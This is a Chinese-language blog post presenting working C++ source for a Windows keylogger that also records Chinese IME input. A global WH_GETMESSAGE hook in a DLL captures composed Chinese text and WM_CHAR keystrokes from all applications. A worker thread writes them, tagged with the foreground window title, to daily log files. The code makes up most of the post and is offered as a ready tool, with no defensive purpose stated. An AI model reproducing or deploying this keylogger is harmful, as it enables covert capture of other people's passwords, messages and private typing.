键盘记录工具(支持中文)


       记录键盘,很显然需要使用钩子。如果只是记录所按下的按键,使用WH_KEYDOWN_LL即可,此钩子可以拦截所有按下键盘的动作(除极少数键外)。但是如果要记录通过输入法输入的中文字符,那么WH_KEYDOWN_LL是不够的,这里需要使用WH_GETMESSAGE钩子。这个钩子拦截所有从消息队列中取出的消息。而windows上所有的输入法基本上都是采用将输入字符翻译成汉字之后,通过PostMessage将汉字回发给应用程序。所以利用WH_GETMESSAGE钩子,在应用程序从消息队列中取出汉字消息之前对消息进行拦截,从而记录。

       下面是HOOKDLL中的主要代码:

       WH_GETMESSAGE全局钩子,其钩子回调函数必须写在DLL中,不能通过传递函数指针的方式,将回调函数体写在其他Model中。

这里采用内存文件映射的方法来达到数据共享。共享的数据包括记录线程的ID,中文字符。回调函数在拦截到中文字符消息时,将中文字符保存到共享内存中,然后通过PostThreadMessage通知记录线程。

WM_IME_COMPOSITION:当输入法将转换后的中文字符推送到应用程序时,应用程序会处理此消息。

  1. BOOL CHookSystem::Start(int hookID)  
  2. {  
  3.     if(g_hook)  
  4.         Stop();  
  5.   
  6.     if(!g_hook)  
  7.     {  
  8.         HOOKPROC lpfn = NULL;  
  9.         if(hookID == WH_GETMESSAGE)  
  10.             lpfn = MessageProc;  
  11.         else  
  12.             lpfn = MessageProc;  
  13.   
  14.         g_hook = ::SetWindowsHookEx(hookID, lpfn, CApplication::Hinst, 0); // 默认安装全局钩子,因为这是在dll中  
  15.         DWORD m = ::GetLastError();  
  16.         m_hookID = hookID;  
  17.   
  18.         ::PostMessage(NULL, WM_NULL, 0,0);  
  19.           
  20.         return g_hook == NULL ? FALSE : TRUE;  
  21.     }  
  22.     else  
  23.         return FALSE;  
  24. }  

  1. BOOL CHookSystem::Stop()  
  2. {  
  3.     if(g_hook && !::UnhookWindowsHookEx(g_hook))  
  4.         return FALSE;  
  5.     else  
  6.     {  
  7.         g_hook = NULL;  
  8.         m_hookID = 0;  
  9.         return TRUE;  
  10.     }  
  11. }  

  1. LRESULT CALLBACK CHookSystem::MessageProc(int nCode, WPARAM wParam, LPARAM lParam)  
  2. {  
  3.     LRESULT lResult = ::CallNextHookEx(g_hook, nCode, wParam, lParam);  
  4.   
  5.     if(nCode < 0)  
  6.         return lResult;  
  7.   
  8.     HANDLE hThreadid = ::OpenFileMapping(FILE_MAP_WRITE, false, TEXT("ThreadID"));// 打开文件映射对象ThreadID  
  9.     if(hThreadid)  
  10.     {  
  11.         int * pThreadid = (int *)::MapViewOfFile(hThreadid, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);  
  12.         if(pThreadid)  
  13.             KBthreadid = (*pThreadid);  
  14.         else  
  15.             return lResult;  
  16.   
  17.         UnmapViewOfFile(pThreadid); // 撤销此次映射  
  18.     }  
  19.     else  
  20.     {  
  21.         return lResult;  
  22.     }  
  23.   
  24.     TCHAR * pCNString;  
  25.   
  26.     PMSG pmsg = (PMSG)lParam;  
  27.     if (nCode == HC_ACTION)  
  28.     {  
  29.         switch (pmsg->message)  
  30.         {  
  31.         case WM_IME_COMPOSITION:  
  32.             {  
  33.                 //::MessageBox(NULL,TEXT("WM_IME_COMPOSITION"),TEXT("no"),MB_OK);  
  34.                 HIMC hIMC;  
  35.                 HWND hWnd=pmsg->hwnd;  
  36.                 DWORD dwSize;  
  37.                 TCHAR ch;  
  38.                 TCHAR lpstr[MAX_CN_STRING_LEN];  
  39.                 if(pmsg->lParam & GCS_RESULTSTR)  
  40.                 {  
  41.                     HANDLE hCNString = ::OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));  
  42.                     if(hCNString)   
  43.                         pCNString = (TCHAR *)::MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);  
  44.                     else  
  45.                         return lResult;  
  46.   
  47.                     if(!pCNString)  
  48.                         return lResult;  
  49.   
  50.                     //先获取当前正在输入的窗口的输入法句柄  
  51.                     hIMC = ImmGetContext(hWnd);  
  52.                     if (!hIMC)  
  53.                         return lResult;  
  54.   
  55.                     // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.  
  56.                     dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);  
  57.   
  58.                     // 缓冲区大小要加上字符串的NULL结束符大小,  
  59.                     //   考虑到UNICODE  
  60.                     dwSize += sizeof(WCHAR);  
  61.   
  62.                     memset(lpstr, 0, MAX_CN_STRING_LEN);  
  63.   
  64.                     // 再调用一次.ImmGetCompositionString获取字符串  
  65.                     ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);  
  66.   
  67.                     //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...  
  68.                     //MessageBox(NULL, lpstr, lpstr, MB_OK);   
  69.   
  70.                     _tcscpy(pCNString, lpstr); // 拷贝到共享内存中  
  71.                     ImmReleaseContext(hWnd, hIMC);  
  72.   
  73.                     UnmapViewOfFile(pCNString); // 撤销此次映射  
  74.   
  75.                     PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN, wParam, lParam);  
  76.                 }  
  77.             }  
  78.             break;  
  79.         case WM_CHAR:  //截获发向焦点窗口的键盘消息  
  80.             {  
  81.                 PostThreadMessage(KBthreadid,WM_KEYHOOK_CN, pmsg->wParam, pmsg->lParam);  
  82.             }  
  83.             break;  
  84.         }  
  85.     }  
  86.   
  87.     return(lResult);  
  88. }  


       下面是负责记录程序的主要代码:

       记录键盘信息是一个实时性比较高的任务,为了不影响前台界面,这里需要采用子线程的方式来进行记录。

在子线程处理函数中,通过PeekMessage来获取线程消息。在消息处理函数中,将输入的字符记录到文件中。

  1. void CMainWnd::StartKeyMonitorThread()  
  2. {  
  3.     ::_beginthread(HookKeyBoardThread, 0, NULL);  
  4. }  

  1. void CMainWnd::StopKeyMonitorThread()  
  2. {  
  3.     ::PostThreadMessage(ms_keyMonitorThreadID, WM_QUIT, 0, 0);  
  4.     ::CloseHandle(hThreadid);  
  5.     ::CloseHandle(hCNString);  
  6.     ms_keyMonitorThreadID = 0;  
  7.     hThreadid = NULL;  
  8.     hCNString = NULL; // 防止句柄被释放两次  
  9. }  

  1. VOID CMainWnd::HookKeyBoardThread(LPVOID info)  
  2. {  
  3.     ms_keyMonitorThreadID = ::GetCurrentThreadId();  
  4.     int threadid = ms_keyMonitorThreadID;  
  5.   
  6.     hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(int), TEXT("ThreadID"));  
  7.     hCNString=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,MAX_CN_STRING_LEN, TEXT("CNString"));  
  8.   
  9.     if(hThreadid)  
  10.     {  
  11.         int *pThreadid = (int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);  
  12.         if(pThreadid)   
  13.             *pThreadid = threadid;  
  14.         else  
  15.         {  
  16.             CBaseWnd::MessageBox(TEXT("创建内存映射失败"));  
  17.             return;  
  18.         }  
  19.   
  20.         UnmapViewOfFile(pThreadid); // 撤销此次映射  
  21.     }  
  22.     else  
  23.     {  
  24.         CBaseWnd::MessageBox(TEXT("创建内存映射失败"));  
  25.         return;  
  26.     }  
  27.   
  28.     MSG msg;  
  29.   
  30.     CString oldInputWndName;  
  31.   
  32.     while(true)  
  33.     {  
  34.         if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN,WM_KEYHOOK_CN,PM_REMOVE))  
  35.         {  
  36.             //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);  
  37.             //AttachThreadInput(tid, GetCurrentThreadId(),TRUE);  
  38.             CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);  
  39.             CString curInputWndName;  
  40.             if(pWnd != NULL)  
  41.                 curInputWndName = pWnd->GetWndName();  
  42.             //AttachThreadInput(tid, GetCurrentThreadId(),FALSE);  
  43.               
  44.             CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));  
  45.             CFileStreamC file(fileName);  
  46.   
  47.             if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName)  
  48.             {  
  49.                 oldInputWndName = curInputWndName;  
  50.                 file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());  
  51.             }  
  52.   
  53.             TCHAR str[20] = {0};  
  54.             int len = MyGetKeyNameText(msg.wParam, str, sizeof(str)/sizeof(TCHAR));//获得控制键名字,可能是非控制键则返回为空  
  55.             if(len > 0)  
  56.                 file.Write(TEXT("(%s)"), str);  
  57.             else  
  58.                 file.Write(TEXT("%c"), msg.wParam);  
  59.                   
  60.         }  
  61.   
  62.         if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN_EN,WM_KEYHOOK_CN_EN,PM_REMOVE))  
  63.         {  
  64.             TCHAR *pCNString;  
  65.             HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));  
  66.   
  67.             if(hCNString)  
  68.                 pCNString=(TCHAR *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);  
  69.             else  
  70.                 continue;  
  71.   
  72.             //const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);  
  73.             //AttachThreadInput(tid, GetCurrentThreadId(),TRUE);  
  74.             CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);  
  75.             CString curInputWndName;  
  76.             if(pWnd != NULL)  
  77.                 curInputWndName = pWnd->GetWndName();  
  78.             //AttachThreadInput(tid, GetCurrentThreadId(),FALSE);  
  79.   
  80.             CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));  
  81.             CFileStreamC file(fileName);  
  82.               
  83.             if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName)  
  84.             {  
  85.                 oldInputWndName = curInputWndName;  
  86.                 file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());  
  87.             }  
  88.   
  89.             file.Write(TEXT("%s"), pCNString);  
  90.   
  91.             memset(pCNString,0,MAX_CN_STRING_LEN);  
  92.   
  93.             UnmapViewOfFile(pCNString); // 撤销此次映射  
  94.         }  
  95.   
  96.         if(PeekMessage(&msg,NULL,WM_QUIT,WM_QUIT,PM_REMOVE))   
  97.         {  
  98.             break;  
  99.         }  
  100.   
  101.         Sleep(1);  
  102.     }  
  103.   
  104.     return;  
  105. }  

       实际效果截图:


这里在记录中文输入的同时,还记录的了当前所输入的窗口标题。

个别字符有乱码的情况,这是因为部分不可见字符没有进行屏蔽。

这个工具可以记录大部分中午输入,效率也还是很不错的,正常运行后,基本不会影响系统的正常使用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值